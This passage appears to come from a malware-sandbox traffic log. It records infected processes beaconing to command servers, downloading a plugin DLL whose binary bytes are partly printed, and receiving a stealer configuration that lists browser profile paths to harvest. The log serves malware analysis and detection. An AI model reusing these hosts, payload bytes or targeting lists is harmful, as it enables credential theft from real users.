5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFIL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49884	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:07.548664093 CEST	66	OUT	GET /enigma/Plugins/clip64.dll HTTP/1.1 Host: 193.233.132.167
Apr 19, 2024 03:30:07.795979977 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:07 GMT Content-Type: application/octet-stream Content-Length: 112128 Last-Modified: Thu, 01 Feb 2024 16:00:35 GMT Connection: keep-alive ETag: "65bbc023-1b600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 11 bf bb 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 24 01 00 00 9a 00 00 00 00 00 00 ec 66 00 00 00 10 00 00 00 40 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 20 a1 01 00 9c 00 00 00 bc a1 01 00 50 00 00 00 00 d0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 d4 14 00 00 f0 8f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 90 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 4c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 36 23 01 00 00 10 00 00 00 24 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 69 00 00 00 40 01 00 00 6a 00 00 00 28 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 1c 17 00 00 00 b0 01 00 00 0c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 d0 01 00 00 02 00 00 00 9e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d4 14 00 00 00 e0 01 00 00 16 00 00 00 a0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELe!$f@@ P8(@@L.text6#$ `.rdata4i@j(@@.data@.rsrc@@.reloc@B
Apr 19, 2024 03:30:07.796135902 CEST	1289	IN	Data Raw: 00 00 6a 20 68 08 8d 01 10 b9 60 b8 01 10 e8 0f 44 00 00 68 e0 2c 01 10 e8 7d 51 00 00 59 c3 cc cc cc 6a 20 68 2c 8d 01 10 b9 78 b8 01 10 e8 ef 43 00 00 68 40 2d 01 10 e8 5d 51 00 00 59 c3 cc cc cc 6a 14 68 50 8d 01 10 b9 90 b8 01 10 e8 cf 43 00 Data Ascii: j h`Dh,}QYj h,xCh@-]QYjhPCh-=QYjhhCh.QYjhCh`.PYjhoCh.PYjhOCh /PYjh/C
Apr 19, 2024 03:30:07.796159029 CEST	1289	IN	Data Raw: ff ff 50 c7 85 9c fb ff ff 0f 00 00 00 c6 85 88 fb ff ff 00 e8 00 3f 00 00 c6 45 fc 06 8d b5 88 fb ff ff 83 bd 9c fb ff ff 10 8b bd 88 fb ff ff 8b 95 e8 fb ff ff 0f 43 f7 8b 85 ec fb ff ff 8b 8d 98 fb ff ff 2b c2 89 b5 b0 fb ff ff 89 95 ac fb ff Data Ascii: P?EC+Q;wCCPs VQTDEr+Hr#+QW9H
Apr 19, 2024 03:30:07.796178102 CEST	1289	IN	Data Raw: a1 50 b9 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 ef 00 00 00 8b c2 51 50 e8 f7 43 00 00 83 c4 08 c7 05 60 b9 01 10 00 00 00 00 c7 05 64 b9 01 10 0f 00 00 00 c6 05 50 b9 01 10 00 0f 10 06 0f 11 05 50 b9 01 Data Ascii: PArP#+QPC`dPP~Ff`FFUr(MBrI#+wzRQCEUEEEr(MBrI#+w1RQ;CtuZ
Apr 19, 2024 03:30:07.796195984 CEST	1289	IN	Data Raw: 00 00 c6 06 00 c7 45 fc 00 00 00 00 0f 57 c0 66 0f d6 45 e4 c7 45 ec 00 00 00 00 68 00 04 00 00 c7 45 d0 01 00 00 00 c7 45 e4 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 e8 09 3f 00 00 8b f8 b9 00 01 00 00 83 c8 ff 89 7d e4 83 c4 04 8d Data Ascii: EWfEEhEEEE?}UUE3EB@\|E3M3U_9PvxErEt\xFNU;Ns~AFrDuEuQ
Apr 19, 2024 03:30:07.796216011 CEST	1289	IN	Data Raw: 00 00 89 4d cc c6 06 00 bb 01 00 00 00 33 ff 89 5d d0 85 c9 0f 8e e4 00 00 00 0f 1f 40 00 c7 45 e4 00 00 00 00 c7 45 e8 0f 00 00 00 c6 45 d4 00 3b c7 0f 82 14 01 00 00 2b c7 b9 02 00 00 00 3b c1 0f 42 c8 83 7d 1c 10 8d 45 08 0f 43 45 08 51 03 c7 Data Ascii: M3]@EEE;+;B}ECEQMP/]EE}jCEjPvNV];sAFrDuEuQ2EUr(MBrI#+wpRQ(9;}}
Apr 19, 2024 03:30:07.796233892 CEST	1289	IN	Data Raw: 45 fc 00 00 00 00 8d 4d c0 6a 24 68 48 8e 01 10 c7 45 d0 00 00 00 00 c7 45 d4 0f 00 00 00 c6 45 c0 00 e8 ce 2a 00 00 c6 45 fc 01 8b 45 18 85 c0 75 07 33 f6 e9 dc 00 00 00 33 ff 85 c0 0f 84 cd 00 00 00 66 90 c7 45 e8 00 00 00 00 c7 45 ec 0f 00 00 Data Ascii: EMj$hHEEEEEu33fEEE;u+;B}ECEQMPsEEePN(EEP7(E0EUr,MBrI#+
Apr 19, 2024 03:30:07.796252012 CEST	1289	IN	Data Raw: 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c3 e8 ea 68 00 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 20 2b 01 10 64 a1 00 00 00 00 50 83 ec 40 a1 08 b0 01 10 33 c5 89 45 f0 56 50 8d 45 f4 64 a3 00 00 00 00 83 ec 18 c7 45 fc 01 00 00 00 8b cc 89 Data Ascii: Y_^]hUjh +dP@3EVPEdEejhpAA{%EE ePV#EEPD#ME(0EEeP##EjhxAA%Ed0
Apr 19, 2024 03:30:07.796271086 CEST	1289	IN	Data Raw: 10 f3 0f 7e 46 10 66 0f d6 05 90 b9 01 10 c7 46 10 00 00 00 00 c7 46 14 0f 00 00 00 c6 06 00 8b 55 cc 83 fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 aa 12 00 00 52 51 e8 a5 2a 00 00 83 c4 Data Ascii: ~FfFFUr,MBrI#+RQ*uEePlEjhAAV E0EEEHE;0+;B}ECEMVP r.ArP
Apr 19, 2024 03:30:07.796291113 CEST	1289	IN	Data Raw: c4 30 c7 45 c8 00 00 00 00 c7 45 cc 0f 00 00 00 c6 45 b8 00 8d 48 ff b8 b0 b9 01 10 39 0d c0 b9 01 10 0f 42 0d c0 b9 01 10 83 3d c4 b9 01 10 10 51 0f 43 05 b0 b9 01 10 8d 4d b8 50 e8 99 1b 00 00 8b 0d c4 b9 01 10 83 f9 10 72 2e a1 b0 b9 01 10 41 Data Ascii: 0EEEH9B=QCMPr.ArP#+wQPu%EU~EMfAA9B=RCPMt\|
Apr 19, 2024 03:30:08.043592930 CEST	1289	IN	Data Raw: fa 10 72 2c 8b 4d b8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 d4 08 00 00 52 51 e8 b6 20 00 00 83 c4 08 83 ec 18 8b cc 89 65 d4 68 78 b8 01 10 e8 7f 14 00 00 83 ec 18 c6 45 fc 12 8b cc 68 c8 b9 01 10 e8 6c Data Ascii: r,MBrI#+RQ ehxEhlME0t\|r.ArP#+dQP? ~FfFFUr,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49885	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:07.719329119 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:07.957851887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:30:07.987552881 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:08.231852055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49886	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:07.998984098 CEST	183	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 31 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000188001&unit=246122658369
Apr 19, 2024 03:30:08.246169090 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49887	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:08.666785955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:08.912692070 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:08.914594889 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:09.164545059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49888	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:08.667772055 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:08.908885002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49889	147.185.221.19	30946	7324	C:\Users\user\AppData\Local\Temp\1000188001\build12.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:08.701119900 CEST	248	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Apr 19, 2024 03:30:09.131906033 CEST	385	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnect xmlns="http://tempuri.org/"/></s:Body></s:Envelope>
Apr 19, 2024 03:30:19.787519932 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:30:20.096012115 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:19 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
Apr 19, 2024 03:30:24.843470097 CEST	231	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: b-stamps.gl.at.ply.gg:30946 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Apr 19, 2024 03:30:33.711553097 CEST	1248	IN	HTTP/1.1 200 OK Content-Length: 4744 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 19 Apr 2024 01:30:33 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 